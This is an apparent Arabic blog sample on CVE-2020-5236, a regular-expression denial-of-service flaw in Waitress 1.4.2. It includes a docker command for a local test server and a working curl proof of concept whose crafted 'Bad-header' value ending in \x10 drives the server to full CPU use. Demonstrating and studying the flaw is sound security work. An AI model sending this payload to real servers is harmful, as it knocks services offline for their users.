
Waitress 1.4.2 ReDoS - CVE-2020-5236 (كود نموذجي من مدونة)
يتيح إصدار Waitress 1.4.2 شن هجوم حجب الخدمة (DoS). فعندما يستقبل Waitress ترويسة تحتوي على أحرف غير صالحة، مثل ترويسة بالشكل "Bad-header: xxxxxxxxxxxxxxx\x10"، فإن ذلك يؤدي إلى تراجع كارثي في محرك التعبير النمطي (regex)، ما يسبب استهلاك العملية 100% من زمن المعالج (CPU) وحجب أي تفاعلات أخرى. وهذا يسمح للمهاجم بإرسال طلب واحد يحمل ترويسة غير صالحة لإخراج الخدمة عن العمل.
بواسطة NVD
$ docker run --rm --name waitress -v "$PWD/src:/src" -p "8080:8080" -it python:3.7-slim python /src/server.py
$ curl "http://127.0.0.1:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`"
اعرض استخدام وحدة المعالجة المركزية (CPU) للخادم. نفّذ "docker stats waitress".
↓ نفّذ PoC
